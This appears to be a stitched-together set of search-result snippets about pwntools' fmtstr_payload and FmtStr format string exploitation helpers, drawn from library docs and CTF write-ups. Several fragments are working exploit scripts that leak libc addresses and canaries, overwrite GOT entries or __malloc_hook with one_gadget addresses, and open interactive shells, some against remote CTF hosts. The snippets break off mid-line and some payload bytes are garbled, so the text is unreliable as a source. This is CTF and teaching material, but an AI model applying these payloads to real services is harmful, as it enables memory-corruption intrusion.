It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits ... >>> context.clear(arch='amd64') >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int') b'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x0022419374c%1$n972547906c%2$n' >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short') b'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00G774c%1$hn"649c%2$hn`617c%3$hn%4$hn' >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte') b'\x00\x00\x00\x0

>>> autofmt = FmtStr(exec_fmt) >>> offset = autofmt.offset >>> p = process(program, stderr=PIPE) >>> addr = unpack(p.recv(4)) >>> payload = fmtstr_payload(offset, {addr: 0x1337babe}) >>> p.sendline(payload) >>> print(hex(unpack(p.recv(4)))) 0x1337babe ·

payload = fmtstr_payload(5, writes, numbwritten=8) · Example - Automated exploitation · ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ · .. code-block:: python · · # Assume a process that reads a string · # and gives this string as the first argument · # of a printf() call ·

January 4, 2020 - payload = fmtstr_payload(5, writes, numbwritten=8) · Example - Automated exploitation · ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ · .. code-block:: python · · # Assume a process that reads a string · # and gives this string as the first argument ·

July 14, 2020 - Or you can be lazy and use pwntools with the package FmtStr : from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload from pwn import * context.clear(arch = 'amd64') def send_payload(payload): s.sendline(payload) r = s.recvline() s.recvline() return r s = process('./exploitme') ...

September 12, 2024 - This takes the function as an argument and attacks it over and over again until it can read it’s own value in the returned data, determining the offset automatically. With the fmtstr_payload() function, we can generate a payload that will write any arbitrary data into any arbitrary address.

# the sigreturn frame will need to be converted to bytes prior # to being sent as part of a payload payload = bytes(frame) ... # the format string offset offset = 5 # the writes you want to perform writes = { 0x40010: 0xdeadbeef, # write 0xdeadbeef at 0x40010 0x40018: 0xcafebabe # write 0xcafebabe at 0x40018 } # you can use the `fmtstr_payload` function to automatically # generate a payload that performs the writes you specify payload = fmtstr_payload(offset, writes) p.writeline(payload)

Full Exploit code: ```python #!/usr/bin/env python3 ... io = conn() io.recvline() # We offset +1 because of that the data prefixing this is also a printf magic # align 18 for magic # pwntools doesn't really expect you to prefix this with another format string payload1 = fmtstr_payload(offset+1, {exe.symbols['__bss_start']: b'sh'}, numbwritten=18, write_size='short') print(payload1) print('Symbol we look for is', exe.symbols['__bss_start']) io.sendline(b'$lx '+payload1) canary = io.recvline().strip().split()[0] canary = int(canary, 16)

Pwntools actually has a format string attack generator so we can beat the binary in a few quick easy lines. #!/usr/bin/python from pwn import * token_addr = 0x0804a028 def main(): p = process("../build/2_overwrite") payload = fmtstr_payload(5, {token_addr: 0xcafebabe}) log.info("Sending payload: %s" % payload) p.sendline(payload) data = p.recvall() realdata = data[data.find("Token"):] log.success(realdata) if __name__ == "__main__": main()

Exit() the only function called after the format string vulnerbaility. So we can just overwrite it with the address of the win() function. We'll use pwntools fmtstr_payload() to create the format write, that overwrites the got address of exit() with the address of win().

Pwntools is a powerful library for dealing with format strings, but it might not always work perfectly for every scenario. If you encounter issues with it, consider simplifying your approach and building up the solution manually. Pwntools has useful functions like fmtstr_payload() and leak_stack(), which can be helpful in building your payload.

from pwn import * context.binary = elf = ELF('./on_the_hook') libc = ELF('./libc.so.6') #p = elf.process() p = remote('ctf.k3rn3l4rmy.com', 2201) p.recvline() def leakat(i, p): p.sendline(f'%{i}$p') rec = p.recvline() leak = str(rec[:-1])[2:-1] log.info(f'@ {i}: {leak}') return leak ret_libc = leakat(27, p) print(ret_libc) libc.address = int(ret_libc,16) - 0x18637 log.success(f'Libc base @ {hex(libc.address)}') log.info(f'malloc hook @ {hex(libc.sym.__malloc_hook)}') one1 = libc.address + 0x3ac5c one2 = libc.address + 0x3ac5e one3 = libc.address + 0x3ac62 one4 = libc.address + 0x3ac69 one5 = libc.address + 0x5fbc5 one6 = libc.address + 0x5fbc6 p.sendline(fmtstr_payload(7,{libc.sym.__malloc_hook:one3})) p.sendline('�999c') p.interactive()

Here I used the fmtstr_payload function in pwntools to get the results we hoped for. If you are interested, you can check the official documentation. For example, here fmtstr_payload(7, {puts_got: system_addr}) means that the offset of my format string is 7, I want to write the system_addr address at the puts_got address.

November 21, 2025 - pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

May 1, 2025 - Honestly, pwntools worked so nicely. It was such a beautiful library that really did most of the heavy lifting, if not all of it. But I wanted to dig deeper into how it applied the underlying logic of format string exploitation. As discussed in my previous post on Echo Valley, this type of exploitation took advantage of the %n specifier to write values to a memory address. The payload value generated by the fmtstr_payload() function was: b’2c $llnc!$hhn\"$hhn$5c#$hhnaaaaba`@@\x00\x00\x00\x00\x00c@@\x00\x00\x00\x00\x00a@@\x00\x00\x00\x00\x00b@@\x00\x00\x00\x00\x00'.

from pwn import * conn = remote("35.240.143.82", 4203) context.clear(arch='amd64') def send_payload(p): conn.wait(1) conn.sendline(p) return conn.recv() print("offset =", FmtStr(execute_fmt=send_payload).offset)

Fortunately, pwntool provides a fmtstr exploit generator for you. fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') - offset: the first formatter's offset you control - writes: dict with addr, value {addr: value, addr2: value2} - numbwritten: the number of bytes already written ...

April 18, 2018 - def fmt(s): print repr(s) f = FmtStr(fmt, offset=0) f.write(0x080420,0x12345678) f.execute_writes() #result: ' \x04\x08\x00!\x04\x08\x00"\x04\x08\x00#\x04\x08\x004c%0$hhn"2c%1$hhn"2c%2$hhn"2c%3$hhn' some char like '\x00' will terminate the printf!!! better solution is to put address in the tail of the payload!

March 5, 2025 - We can automate the entire exploitation process using pwntools: from pwn import * context.arch = "i386" brocode_address = 0x0804C030 def send_payload(payload): r = process("./read_me") log.info(f"Payload: {repr(payload)}") r.sendlineafter(b"Enter name: ", payload) output = r.recvall() log.info(f"Output: {output.decode()}") r.close() return output # Create a FmtStr object format_string = FmtStr(execute_fmt=send_payload) # Use the format string object to write the value 0x4ADF070F to the address of 'brocode' format_string.write(brocode_address, 0x4ADF070F) # Execute the writes format_string.execute_writes()

May 15, 2021 - Proof of concept (does not work yet due to a separate bug with non-empty badbytes writing at a nonzero address): >>> fmtstr_payload(6, {8: 0x55d15d2004a0}, badbytes=b'\n') b'84c$llnIc$hhnQc$hn�c$hhn�$hhna\x08\x0...